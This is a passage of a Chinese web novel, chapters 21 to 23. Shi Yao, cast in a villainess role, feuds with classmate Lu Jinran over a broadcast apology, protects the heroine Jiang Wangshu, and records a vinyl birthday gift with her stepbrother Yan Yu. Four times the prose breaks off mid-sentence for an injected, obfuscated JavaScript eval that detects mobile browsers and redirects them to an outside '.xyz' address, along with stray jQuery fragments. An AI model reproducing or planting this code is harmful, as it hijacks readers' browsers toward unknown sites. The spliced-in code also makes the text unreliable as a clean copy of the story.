两人桌子间的狭小缝隙变成了、马里亚纳大海沟,时谣就算再迟钝也看明白这是对自己赤裸裸的嫌弃,有些火大地转头瞪他。
温言律却直接无视掉她恼怒的视线,捧起语文书,开始速记上面的文言文了。
时谣快被气死了,这个家伙到底在嫌弃她什么,她长得又好看成绩又好又不烦人,愿意屈尊跟他做同桌是给他脸了好不好?
她气得拿出了自己的计划本,翻开扉页,在那个“温言律731”下面又写了一行字:
“温言律年级第一”
然后在上面画了个巨大的叉。
喵的,她时谣迟早要把温言律从年级第一的座位上赶下来!连第二也不准他当!他只能去当第三第四第五第六!
想到这里,时谣憋着一股气转过头,对正默写完毕正在自批的姜望舒郑重道:“望舒,你想考第一吗?”
姜望舒:“?”
时谣道:“我们一起学习,包揽第一第二,如何?”
姜望舒瞟了一眼温言
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040047|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
律的背影:“好啊,但是……”
时谣冷漠道:“没他的事,让他滚。”
苏雾迟闻言忍不住笑,凑过来道:“能不能让我也加入,第三就让给我?我也早就想把他从年级第一赶下来了。”
时谣心想多一个人也多一份力量,于是大发慈悲地同意了:“行。”
于是超越温言律学习小组正式成立。
温言律听完三个人的大声密谋,冷淡地垂下眸,觉得幼稚。
他怎么可能会考到除了第一以外的成绩?这几个人真是在痴人说梦,还有苏雾迟这家伙也在凑什么热闹,是日子过得太无聊了吗?
1班的学习氛围确实挺好,在温言律的刺激下,时谣燃起了熊熊的内卷斗志,这一燃就燃到了大课间。
圣斯特学院的大课间有固定的学生广播,时谣正在饮水机旁边,一边接水一边听着广播里的英语听力。
突然,英语听力戛然而止,有人拍了拍话筒,试探性地出声:“喂喂,听得到吗?”
时谣抿了一口热水,觉得这个学生主持人的声音有点像陆烬燃那个小学鸡,结果下一秒就听到一个拽得不行的语气:“我是陆烬燃,今天我要因为之前误会时谣欺负同学一事,向时谣全校公开道歉——”
时谣:“???”
时谣差点没一口水把自己呛死,咳了好久才缓过神来,广播里的那道声音已经自顾自地说了下去:
“事情是这样的,那天我路过10班,正好听见里面传来争吵声,进去一看发现姜望舒同学的桌子倒了一地。凭着以前对时谣同学的刻板印象,我下意识就以为这一切是时谣指使,毕竟时谣同学有过对姜望舒同学出言不逊、将姜望舒同学反锁在体育器材室的前科。加上时谣对我的迷恋已经到了一种疯狂的地步,所以我很快就说服了自己,这一切都是时谣同学内心出于嫉妒……”
周围的同学听到广播都是愣了一愣,但听到这里,八卦的目光都不由自主地落到了时谣的身上。
时谣本来还在等陆烬燃开始道歉,却没想到道歉前摇超长,不仅没听到半个对不起,反而将她穿来前原主做的缺德事都被迫重温了一遍,当场就被气笑了。
她拧紧了手中的水杯,随手抓了个路过的同学:“打扰一下,请问广播室在哪里?”
被她拦下的同学憋着笑,给时谣指明了方向。
时谣气势汹汹地就去了。
广播室是一个玻璃空间,透过玻璃门,可以看到一个坐姿嚣张,漫不经心地在麦克风前念着手中道歉长信的俊朗身影。
他眉眼凌厉,神态却慵懒不羁,薄唇一张一翕,性感极了。
他的道歉正念到关键之处:“综上所述,我想我是误会了时谣同学,但是我的误会也是有原因的……”就被忍无可忍的时谣推门进来打断。
“陆烬燃,你是不是有病?!”
少女恼怒的斥责声成功被麦克风收音,透过遍布全校的音响,传入了每个学生的耳朵里。
陆烬燃被人身攻击,剑眉一竖,拉下脸就开始对呛:
21. 冤家
“你才有病吧?我在广播跟你道歉,你闯进来骂我是怎么回事?”
“你这个自恋狂哪有一点道歉的样子啊?!我早就说了我不喜欢你了!你能不能别把我的所作所为都美化成我对你爱而不得、因爱生恨的模样啊?你!不!配!”
“……”
十分钟后,大吵一架还被广播得全校都听见了的两人被举报到了学生会处。
接到学生举报、并且完整听完了广播里的事情始末的学生会会长晏羽,看着面前杀气暗涌的两个人,头疼地捏了捏眉心。
“你俩是怎么回事?”
按照惯例,晏羽先给了违规的两人一个狡辩的机会,没想到两人怒气冲冲地对视一眼,陆烬燃开始先发制人:“之前我和她打赌,赌输了我就要在全校面前念道歉信,我只是遵守约定,谁能想到她推门就进来骂我!”
时谣气得想扇他:“陆少你那叫道歉吗?我从听到广播到去广播室抓你这段时间里都没听到一个对不起,谁家好人道歉的时候是把对方的黑历史全部念一遍啊?”
“我这是在讲述明白我当时的心态!不然别人怎么知道我为什么误会你!”
“你到底会不会写道歉信啊!道歉信的主旨是道歉!道歉!你这么说好像我活该被你误会一样!”
“难道不是吗?要不是你之前做了那么多坏事,我也不至于……”
眼看两人又吵了起来,晏羽皱眉,声音沉沉地打断了两人:“行了,吵什么。”
他说话的时候很有威严,冷脸扫过两人的时候,眉眼一压产生的压迫感极强,于是底下的两人纷纷闭了嘴,冷哼一声,双双别过脸去。
晏羽看着他俩小学鸡互啄的样子,敛下眸,公事公办地道:“在广播室吵架,影响了原本该有的广播时间段,私人恩怨影响公共秩序,违反了校规第十一条。罚你们打扫操场卫生一周,没意见吧?”
见晏羽一副铁面无私的包青天形象,时谣虽然很想把身旁的陆烬燃暴打一顿,但还是硬生生把脾气忍了下来:“我没意见。”
陆烬燃似乎还有意见,正要发话,被晏羽冷冷地瞥了一眼,只能不做声了。
“我也没意见。”陆烬燃不情不愿地道。
晏羽便给两人的处分通知盖上红章,人手一份,挥挥手让他们走了。
两人忍气吞声走到会长办公室门外,又忍不住凶神恶煞地瞪了对方一眼。
陆烬燃咬牙切齿:“很好,时谣,我记住你了。”
时谣翻了个白眼:“我谢谢你,我这辈子第一次喜提处分居然是因为你。”
两人不欢而散,办公室里的晏羽却拧眉思考半天,给苏雾迟发去了消息:
【晏羽:她现在很讨厌陆烬燃?】
苏雾迟也刚兴味地听完广播里两人的八卦,很快就回复了:【看起来是的呢。】
晏羽轻轻蹙眉,眸子里闪过一丝深思。
……
下午放学,早上刚在广播室闹了别扭的两个人在操场狭路相逢。
时谣看着满操场的落叶,又看了看旁边拽得二五八万的陆烬燃,冷漠地划分了分工:“你扫这边,我扫另一边!”
陆烬燃却偏要和她唱反调,眉毛一挑就是阴阳:“凭什么你扫那边,我扫这边?”
“行,那你扫那边,我扫这边。”
陆烬燃双手抱胸,冷笑一声:“不行,凭什么听你的啊?”
蛙趣有些人真是贱的没边了,时谣忍了又忍,才克制住了用手中扫把将他打一顿的想法,自暴自弃道:“行行行,你爱扫哪边扫哪边,总之离我远点!”
陆烬燃看着浑身散发着“莫挨老娘”的狂暴之气的时谣,压了压眉毛,心情颇好地哼笑一声:“时谣你知道吗,你现在可比以前的花痴样有意思多了。”
时谣:“?”再说她真的就要打人了!
时谣总觉得一挨陆烬燃就没好事,她并不是个易怒的人,但每次看到陆烬燃这张脸就想揍他,他一开口她就想把扫把直接怼他嘴里让他闭嘴。
“系统,这1班风水真差。”时谣在脑海里和系统大声吐槽,“旁有温言律这个自负高材生,教室角落里还有陆烬燃这个火爆小学鸡!我就说恶毒女配跟男主们搅和在一起没好事!”
系统给她放烟花打气:【但是宿主你在1班可以狂刷女主角好感诶!只要女主角喜欢你,你就不用当恶毒女配啦,忍忍忍忍!】
时谣不说话了,毕竟惹怒男主不一定下场凄惨,但欺负女主一定死,所以刷女主好感=活。
还好女主角是块香香软软的可爱小蛋糕。
想到姜望舒,时谣的心情好了一点,她很快就继续专注干活,将操场边边上的落叶都扫成一堆。
扫了半圈跑道,时谣停下来歇了歇,却看到陆烬燃正把她好不容易扫起来的落叶往跑道外面扫,气得又要炸毛:“陆!烬!燃!”
陆烬燃瞥了炸毛的时谣一眼,一脸莫名其妙:“干什么?”
时谣冷着脸指了指自己被他扫到外边散成一片的落叶堆。
陆烬燃挑眉:“我怎么了?不是要把跑道上的垃圾都扫开吗?你把垃圾都堆到跑道上,路过的学生怎么跑步?”
“?那你把垃圾扫到跑道外面就可以了?不用收拾是吗?”
陆烬燃一脸理所当然:“不然呢?打扫操场只要跑道干净就可以了嘛。”
时谣:“……”
这下是确定这货没干过家务了。
见时谣低着头不发一言,但明显是拳头硬了的样子,陆烬燃沉了一下帅气的眉眼,有些嫌弃道:“你不会是想让本少爷一样跟你慢吞吞地把落叶弄成一堆一堆的然后慢慢收拾吧?你干活都不追求一下效率的吗?”
时谣震大惊:“你还好意思跟我提效率?!你这样子根本没有达到打扫卫生的结果,你就是想偷懒!”
“偷懒?”陆烬燃被她弄得有些烦躁,他本来就想快速解决然后下班,谁想到被时谣一顿指责,当即有些不爽,就要翻脸。
时谣敏锐地注意到他似乎想放弃,心想这卫生可不能他一个人打扫,脑子一转,故意激他:“你不会是被我发现你不会打扫卫生,想要用效率蒙混过关吧?不会就说嘛,我教你就是……”
陆烬燃:“?”
他陆少怎么会被人看扁?还是被时谣看扁?搞笑!
陆烬燃立刻冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049728|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑一声:“谁说我不会,不!用!你!教!”
接下来,陆烬燃为了证明自己会,努力学着时谣刚刚的样子把垃圾都扫在一起,然后再用特制的垃圾铲一堆一堆收拾掉。
铲垃圾的时候,时谣听到他偷偷嘀咕:“真麻烦,打扫个操场还要这么精细……”
时谣装作没听见,将最后一铲垃圾全部倒入垃圾车,放好卫生工具,拍了拍手上的灰尘。
陆烬燃不情不愿地跟着她照做,在等待排队洗手的时候,却总忍不住瞥向她的脸。
很白净精致的一张脸。
只是有缕被汗水沾湿的碎发在耳边垂下,脸颊处沾了一点灰尘,像劣质橡皮划过白纸留下的一道痕迹。
陆烬燃觉得她脸上那道灰碍眼极了,控制不住伸手想要擦掉那道痕迹,却被时谣发现,敏捷地往旁边一躲。
陆烬燃一顿。
抬眼,时谣眼中明晃晃的嫌弃映入眼帘。
似乎是突然意识到了自己在不受控制地被时谣吸引,陆烬燃有些恼羞成怒,欲盖弥彰道:“你躲什么,你脸上有东西,我想帮你弄掉!”
时谣更警惕地看着他,片刻后却是低头,从他身边跑过。
陆烬燃甚至听到她跑过时的风还夹杂着一句吐槽:“什么人啊,都说了不想再见到我我也说了不想再见到他,还借口有东西想摸我脸,真是犯贱……”
陆烬燃:“……”
陆烬燃气笑了,他眼眸微微眯起,眉压眼的那一瞬间竟是有些冷酷。
很好,时谣。
谁他妈的想摸你脸啊!他陆烬燃再接近时谣一次就是真贱!
……
时谣将陆烬燃丢在一边,一个人回到教室,却发现教室里传来一阵争吵声。
系统及时播报:【宿主!前面正在发生女主角相关剧情——被贵族少爷们逼迫打扫教室!】
时谣:“?”
什么?可爱小蛋糕被欺负了?!时谣迅速冲了过去,拉开了教室的门。
“特招生,你应该最擅长打扫卫生吧?这样,我们几个的值日以后就交给你了怎么样?”
“可是,我不是每天都有空……”
“那就努力空出时间来嘛,今天就交给你了,我们走。”
时谣将姜望舒一把拉到自己身后,阴阳怪气地开口了:“走什么走啊,来圣斯特读了两年书连值日都没学会还要人代劳啊?”
几个贵族少爷一愣,正要反唇相讥,一见是时谣,又忌惮地面面相觑。
时谣以前太招摇,圣斯特所有人都知道她是晏家的人,贵族少爷一下子看人下菜碟,晏家他们根本惹不起。
时谣将扫把丢进他们怀里,没好气道:“自己的事情自己做,三岁小孩都懂的道理十几岁了居然还要人教,别把这些事都丢给姜望舒,她很忙的。”
贵族少爷们不敢惹时谣,但是却敢拿特招生说事:“姜望舒她能忙什么啊?”
时谣背起书包,拉起姜望舒的手。
“能忙什么?我刚来1班人生地不熟,她要忙着陪我!”
时谣冷哼一声,侧身从姜望舒纯净的眼睛里掠过,然后拉着她离开了教室。
22. 礼物
原主家世显赫,对于这种仗势欺人的家伙,时谣也不介意摆一摆富家千金的款。
时谣一边走一边还在跟姜望舒抱怨:“这些人就是自己懒,看你好欺负才把自己的事丢给你。以后他们再让你做什么你就说要陪我,他们不敢惹我的,你不要答应你不想做的事。”
身边的人掩面低笑一声,那一声笑很轻盈,像一只小铃铛轻轻晃动一下,悦耳极了。
她不由得侧过头去看姜望舒,姜望舒眼睛亮亮的,眼底是化不开的笑意:“时谣,你又救了我啦。”
这句话的尾音被她自然地拉长,姜望舒没掩饰眼睛里的崇拜之色,甚至和时谣自然交握的手也在暗暗用力,握紧了一些。
时谣眨了眨眼睛,不由得叹了口气。
女主角就是乐观啊,被刚刚那几个人针对居然不觉得委屈,满脑子居然是她又来帮她了,真是善良小蛋糕。
但这个点了,她和陆烬燃是因为被罚扫操场才待到这么晚的,姜望舒怎么还在这里?
如是想着,时谣便顺势把问题问出了口。
谁料姜望舒道:“因为我在等你。”
“等我?”
姜望舒低头,将口袋里一封精致的请柬递给时谣,神情似乎有点忐忑。
“明天周六,是我的生日。”姜望舒声音软软的,带着一点小心翼翼,“你是我在圣斯特学院交到的第一个朋友,我想……邀请你参加我的生日会。”
时谣一愣,看着那张装饰精美的请柬,不由自主地伸手接过。
似乎是怕时谣不答应,姜望舒忐忑地确认:“你明天应该没有别的安排吧?如果很忙的话,来一会儿也可以的……”
时谣笑了:“你的生日会,我当然会全程参加啊。只是有点突然,我没想到你会邀请我而已。”
实际上刚刚愣住的几十秒内,时谣在回忆剧情。
她当时翻书翻得太潦草,怎么都想不起来有关女主角生日会这段剧情。还是系统提示她才回忆起来,原来这个生日会是上一次在更衣室救了姜望舒的后续剧情。
在原本的剧情中,姜望舒在更衣室是被苏雾迟所救,但是苏雾迟救下姜望舒时已经为时已晚,过于担心的姜奶奶早就在寻找姜望舒的路上发病晕倒,还是苏雾迟帮着姜望舒找到了发病的姜奶奶。
从那之后,姜奶奶就一病不起,到了姜望舒生日这个时间段,已经快到弥留之际了,生前最大的愿望就是希望姜望舒能在圣斯特学院交到很好的朋友。姜望舒无法,只能请求苏雾迟帮忙参加了自己的生日会,终于让姜奶奶安心地离开了。
某种意义上来讲,这应该是女主角与温柔f2感情突飞猛进的关键剧情。
但现在姜奶奶健在,女主与苏雾迟也成了同桌,时谣不确定她是否也邀请了男主们,于是打探道:“你还邀请了其他人吗?会不会有很多我不认识的人在?”
姜望舒立刻摇头:“没有的!我只邀请了你一个人!”
见时谣愣住,姜望舒脸一红,弱弱地补充:“我觉得有其他人在你可能不自在,所以只有你一个人……”
其实她在1班和苏雾迟、陆烬燃的关系也还算不错,但姜望舒自认为和他们身份有别,而且她太想邀请时谣了,如果邀请了他们时谣肯定会尴尬的吧?
姜望舒无法描述自己这么想邀请时谣的心情,可能她的笑容就跟太阳一样温暖吧,聪明又有勇气,遇到任何刁难都能勇敢化解。
比遇到事情只会躲起来默默内耗的自己好多了。
如果可以的话,姜望舒想把太阳邀请过来,照一照她潮湿的17岁。
在夕阳下分别后,姜望舒拒绝了时谣送她回家的好意,像一只活泼的小兔子,迈着欢快的步伐蹦回了家。
时谣看着她的背影,低头摩挲着手上用干花用心装饰的漂亮请柬,姜望舒一手漂亮的字工整得宛如印刷,语气字字真切,称呼她为“在圣斯特学院里最好的朋友”。
时谣盯着请柬看了一会儿,愉悦地勾起唇。
最好的朋友什么的……感觉还挺不错的呢。
由于邀请突然,时谣没什么时间准备礼物,便准备从系统那里打探姜望舒的喜好。
系统:【嗯……手工编织、手工饼干、手工蛋糕、手工艺品、白开水……】
时谣:“?”怎么有人的爱好会是白开水?该说真不愧是小说女主吗,连喜好都这么独具一格?!
白开水实在送不出手,但其他手工艺品听起来很耗费时间。时谣不是很想敷衍送朋友的礼物,犹豫了半天,从管家阿姨那里借来了毛线,试图手工编织一个小发夹。
一小时后,时谣的手工编织宣告失败。
但时谣不气馁,便找了厨艺精湛的时婳,委婉地提出要学烤饼干的要求。
时婳笑着应下,手把手教着女儿揉面、挤奶油、挑选模具……最后时谣经过复杂的工序,成功从烤箱里端出来一排黑成炭的成品。
时谣:“……”
时婳:“……”
时婳轻轻“嘶”了一声,对着这一锅煤炭她很难夸得下去,怎么感觉女儿好像没有遗传到自己的厨艺天赋?
时谣也知道自己做的黑暗料理看起来不太能入口,她和时婳都不是很想成为这锅黑暗料理的小白鼠,正捧着烤盘犹豫。
晏羽刚好下晚自习回家,背着书包路过厨房,就闻到了一股浓烈的糊味,忍不住探进厨房看了一眼,刚好和时谣母女六目相对。
时谣:“……!”
很快晏羽就被按在餐桌旁,面前是烤得看不出原型的不明食物,再前面是一脸可怜,眼巴巴地求他试一试的时谣。
晏羽实在受不了她恳求的视线,拿起一块饼干咬了一口。
一秒钟后,晏羽冷着脸,将嘴里的煤渣吐掉,刻薄评价:“难吃。”
时谣:“……”
她不由得露出失望之色,看来今天自己是做不成给姜望舒的生日礼物了。
晏羽接了杯水漱口,蹙眉看向一脸失望的时谣:“为什么突然想烤饼干?”
时谣道:“我明天要去参加朋友的生日会,想给她烤个饼干做礼物……”
却没想到晏羽突然放下了杯子,清凌凌的眸子直直地盯着她,耐声询问:“给谁?”
“……”
得知是送给姜望舒后,晏羽的脸色有了点微妙的变化,他面色复杂地看了眼时谣:“那个之前和你有过矛盾的特招生?”
时谣理直气壮地反驳:“我们现在是朋友了。”
晏羽眸光一闪,似乎想到了那日在医院病房里的对峙,那天的情绪太丰富,又开始在这一刻重演。
时谣好像就是从那天起就变得不一样了。
时谣见他若有所思地盯着自己烤糊的饼干,以为他在嘲笑自己的厨艺,胸脯一挺就要开始为自己正名,却没想到晏羽兴味的视线突然飘了过来。
“你不是会弹钢琴吗?”
时谣一愣:“什么?”
“你弹一首曲子送给她,会很特别。”
时谣:“……?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053856|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正疑惑间,晏羽伸手抓住时谣的手腕,将她拉到了琴房。
晏家一直有琴房,据说是晏羽的母亲生前对音乐很感兴趣。原主对乐器一向兴趣缺缺,除了被强制请家教学琴的那段时间,倒是鲜少出现在家中的琴房里。
于是,时谣居然不知道偌大的琴房后面,居然有一间完整的收音室。
晏羽掀开角落里盖着的红布,一台小型的唱片刻录机出现在面前。
时谣是真的被惊到了。
她知道唱片刻录机这种东西,也知道黑胶唱片刻录起来很麻烦,没想到晏家自己就有一台。
晏羽站在那个机器前面,伸手轻抚玻璃表面,像是在回忆某样东西。
但很快他就从柜子里找出了几张未刻录过的黑胶唱片,低眉沉思片刻,转头对时谣道:“你可以失败四次。”
时谣看着他手里的五张黑胶唱片,神情愕然。
很多音乐发烧友都喜欢收集黑胶唱片,黑胶唱片能通过机械臂运动的轨迹,记录下该空间所有的声音,因此每张唱片都是独一无二的,带着音乐刻录时那个空间里独特的回响。
晏羽手上的五张胶片尺寸都不大,看起来只有七寸,应该只能录一段很短的祝福。
时谣想了想,如果是自己为姜望舒演奏一场生日歌,再说几句生日祝福,应该可以吧?
时谣看了看刻录机,又看了看晏羽,终于发出灵魂提问:“你……会用这个机器吗?”
晏羽轻轻挽起袖子,小臂青筋微微鼓起,将唱片按进乐槽,调试着机械臂。
“应该会。”
时谣可不知道他的“应该会”到底有多会,不过在晏羽的示意之下,她将收音麦挪到了钢琴前,再三确认:“这样就可以了吗?”
晏羽点头:“试试。”
时谣按下录音键,深呼吸一口,开始边弹边唱了一首生日歌。
女孩的声音天然未经雕琢,嗓音没有过多的技巧,却带有天然的珠玉般的圆润。时谣的音乐天赋不错,每一个音都完美地踩在了调上,随着手指行云流水的弹奏,很快就将一曲生日歌完整地录了下来。
一曲弹完,见晏羽打手势说还有时间,时谣清了清嗓子,对着收音麦说下几句祝福:“祝我的朋友姜望舒今后在圣斯特的每一天都过得开心,能够勇敢做自己想做的事,爱自己想爱的人。”
说完后,她又觉得这脱口而出的祝福太过直白,似乎没那么正式。
但这却是时谣回想起玛丽苏原著的内容后的真挚的内心独白,姜望舒在原书中一直善良但自卑地活着,不知道自己想要什么,因为不够坚定所以沦为了f4争抢的目标,最后虐心虐身经历了一堆泼天狗血后才勇敢承认了自己的爱,反正纠缠了两百万字……怪复杂的。
时谣看完书只想对她发起鼓励:勇敢一点,不要害怕,你本来就是一只自由的小鸟,不要被他们所给的爱困在这里,你可以飞往高山,飞向蓝天。
但是已经没有时间给时谣组织更多的语言,太深刻的话语未免也显得交浅言深。
很快晏羽就示意她刻录完成,时谣只能收回思绪,凑上前去看自己的成品。
晏羽打量着刻录出来的黑胶唱片,上面道道刻痕清晰,纹路均匀,应该是可以用的。便把它放入了清洗的槽,处理了几十分钟之后,才搬出一个小型的唱片机,将新刻录出来的黑胶唱片放了上去。
如果刻录的声音太失真,那这张唱片就等于是报废了。
时谣紧张地看着唱片机。
23. 公主与骑士
唱针嵌进纹路里,底盘开始转动,一段空白音后,动听的钢琴声倾斜而出,混着女孩浑然天成的唱腔,流畅、自然。
两人见状都松了一口气,等唱片播完,都没有听出大的损坏,只是声音略微有些低沉,不过作为一个简单刻录的唱片,它已经是超出预期的成功了。
晏羽问她:“还要再录一遍吗?”
时谣没听出什么不满意,摇摇头道:“不用了,这样就已经很不错了,谢谢。”
系统也夸赞道:【很用心的礼物诶,女主一定会喜欢的!】
晏羽拿出一个透明的唱片盒,将那崭新的黑胶放在里面,交给了时谣。
时谣开心地接了过来,晏羽看了看剩下的四张黑胶,突然拉住了她。
时谣疑惑地抬头,晏羽顿了顿,还是问出了口:“你上次在老宅弹的那首曲子……叫什么?”
嗯?时谣眨了眨眼,道:“《穿越时空的思念》。”
晏羽蹙眉:“没听过。”
这下轮到时谣疑惑了,这不是《犬夜叉》的主题曲吗?小时候蛮火的,难不成玛丽苏文里的人不看《犬夜叉》?
时谣不信邪,拿出手机在各大音乐软件上搜了一波,还真没搜到这首歌,也没搜到《犬夜叉》。
看着晏羽若有所思盯着自己的视线,时谣面不改色地将手机搜索结果隐藏起来:“这是我小时候听到的一首曲子,现在可能改名了。”
晏羽也不疑有他,只是问:“有歌词吗?”
时谣点头:“是日语哦。”
在晏羽能算得上是期待的目光下,时谣清了清嗓音,给他清唱了一段。
少女的音乐天赋极好,短短的几句歌词情感充沛,晏羽虽然没听懂歌词的具体含义,但其中的悲伤眷恋却能听得分明,一时间有些动容。
时谣唱完,抬起眼,偷偷看他。
晏羽……总感觉很喜欢这首歌呢。
片刻后,晏羽终于回神,迎着少女探究的目光,眸色暗下。
他从剩下的黑胶里抽出一张,走到时谣跟前与她对视。
时谣没有看错他眼底浮现出的些许哀伤。
“谣谣,”晏羽声音低沉地喊了她的小名,“帮哥哥一个忙。”
时谣:“!!!!!”
不管是自称“哥哥”还是喊她小名这件事,放在他们这对塑料兄妹身上都很惊悚了。时谣只觉得起了一身的鸡皮疙瘩,连忙咳嗽两声掩盖自己的异常:“好啊,你说。”
“那首《穿越时空的思念》,我想录下来。”
这首曲子是时谣最拿手的曲目之一,弹和唱都没什么问题,只要晏羽那边不刻坏就没事。
时谣便再一次开始演奏,动人的琴音和少女清澈的嗓音在整片空间里流淌,随着刻录机刻录时产生的细微摩擦声,一同被镌刻在了黑色的圆盘胶片里。
但可能是因为这次的演奏比较长且完整,黑胶后半段有一部分声音失了真。
晏羽垂下眼睛,哑声道:“再来。”
两人只能重新刻录。
但又一连失败两次,只剩最后一张黑胶了。
晏羽沉默地摩挲着黑胶圆盘,将它再一次放进了乐槽。
时谣有些担心:“这次要是没成功怎么办?”
晏羽道:“那便不录了。”
他脸上虽然没什么表情,说这话时的语气也很淡。但是时谣觉得要是这次也刻录失败了,晏羽会很难过。
他为什么对这首曲子情有独钟呢?时谣将手放在钢琴之上,视线不自觉地去看他。
总觉得晏羽在刻录唱片的整个过程中都在回忆着什么呢。
新一轮的录制开始,时谣收回心神,完成了今晚感情最充沛的演奏。
这一次的刻录没有失败。
当晏羽清洗完毕,唱片演奏出完整流畅的曲子时,时谣简直要欢呼一声。
晏羽的表情也从淡淡的阴霾转变为晴朗,他听着少女的歌声与琴音,嘴角勾起一抹笑,慢慢地沉浸在了音乐之中。
“哥哥,”时谣始终小心翼翼地观察着晏羽的神色,一曲终了,才鼓起勇气问,“你是想起母亲了吗?”
这个“母亲”指的自然不是时婳,而是晏羽的生母,一个在晏羽很小的时候就病逝了的女人,是晏羽一生的思念,一世的心魔。
纵使晏羽什么都没说,时谣也能猜到这个收音室原本应该是属于晏羽母亲的,或许她也是一个黑胶唱片爱好者,也会在晏羽小的时候带着他刻录一张又一张唱片,这才导致晏羽也会操作这台机器。
晏羽听到时谣的问话,垂眸看向她,深黑的眸子里看不出什么情绪,他只是很轻很淡地点头:“嗯。”
时谣眨了眨眼睛,轻而易举看穿他平静外表下暗藏的波涛,有些心疼地拍了拍他。
意识到眼前的小家伙似乎在安慰自己,晏羽神情古怪地看了她一眼,却见时谣平静的眼中也藏满了悲伤——跟他一样相似的悲伤。
“我想阿姨一直在天上看着你,她肯定希望你好好的,能过得开心。”
晏羽不知道怎么回应时谣的安慰,他沉默地看了她一会儿,缓缓地点了点头。
“难过的话,可以跟我倾诉的,你想听这首歌我也可以随时唱给你听。”时谣轻轻道,“我也没有爸爸。”
何止是没有爸爸,她其实连妈妈都没有,直到穿来这个世界,才有了一个完整的家。
所以她格外能共情晏羽,看书的时候就共情上了。他们明明都很可怜嘛……于是她才愈发想要守护这个家的完整。
谁也不要沦为剧情的傀儡,好吗?
似乎是被时谣的眼神触动,晏羽眼神一暗,伸手落在了她的头顶。
时谣感觉到那只手在她头顶上揉了揉。
“……你唱歌很好听。”
好孩子。
乖妹妹。
……
第二日,时谣照着请柬上写的时间提前出了门。
姜望舒的家在花区的一个老小区,时谣捧着精心准备的礼物,听着司机偶尔跟她说几句这附近的情况。
“这里离圣斯特学院也太远了,小姐的同学每天都要从这里去上学啊,那可真不容易。”
时谣默默点头,开车都要一个小时的地方,姜望舒无论是骑车还是坐公交,所耗费的时间肯定更长了。
直到行驶到一个较为破旧的居民区附近,这里的摊贩挨挨挤挤,一辆豪车出现在这里格外引人注目。
时谣看了看狭隘的路段,主动对司机道:“我就在这里下车吧,我走路找过去。”
“好,小姐需要回来的时候给我发消息就好。”
告别司机,时谣自己开始找路。
按照姜望舒给的定位,时谣导航了二十分钟,最后发现自己和目的地相去甚远,不由得沉默了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059224|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会儿,对系统提出灵魂发问:“这哪?”
系统震惊:【我以为宿主特地按照导航反方向走一定有自己的道理,没想到宿主原来是路痴?】
被系统这么直截了当地吐槽,时谣有些尴尬,试图狡辩:“我才不是呢!我以为这边可以绕过去的,没想到……”
但还好这迷路的窘境没有持续太久,姜望舒的电话就打了过来:“你到哪了呀?要我去接你吗?”
时谣:“我到小区附近了,就是找不到路……”
姜望舒抿嘴轻笑:“第一次来是不好找,你定位发我,我去接你。”
“嗯,好。”
时谣被她找到的时候,正在给街边掰手腕的两个小孩当裁判,周围还围了一圈看热闹的小孩。
中间的两个小孩掰得面红耳赤,谁也不服输。最后还是胖一点的小男孩获得了胜利,赢得了周围的一片欢呼。
“我宣布,这位小朋友就是公主的骑士!”时谣蹲下,拉着小胖孩的手高高举起,小胖孩骄傲地挺起胸膛,眼巴巴地看着时谣。
时谣在他脑门上亲了一下:“好了,这是给骑士的奖励。”
周围瞬间爆发了一阵兴奋的欢呼,小胖孩高兴地大叫:“公主姐姐亲我了!”立刻招致了周围人的羡慕嫉妒恨。
眼见更多小孩围过来喊着“姐姐我也要亲亲”,时谣眼尖发现了姜望舒,连忙拒绝了热情的小孩们:“好了,姐姐的朋友来找我了,下次陪你们好不好?”
“是小姜姐姐诶!”
“公主姐姐和小姜姐姐是朋友吗?”
“公主姐姐能不能多来看看小姜姐姐,顺便找我们玩?”
时谣笑着一一应下,这才摆脱了小孩包围,拉起了姜望舒的手。
姜望舒疑惑地将脑袋歪成45°,眨了眨眼睛看着时谣:“为什么亲他?”
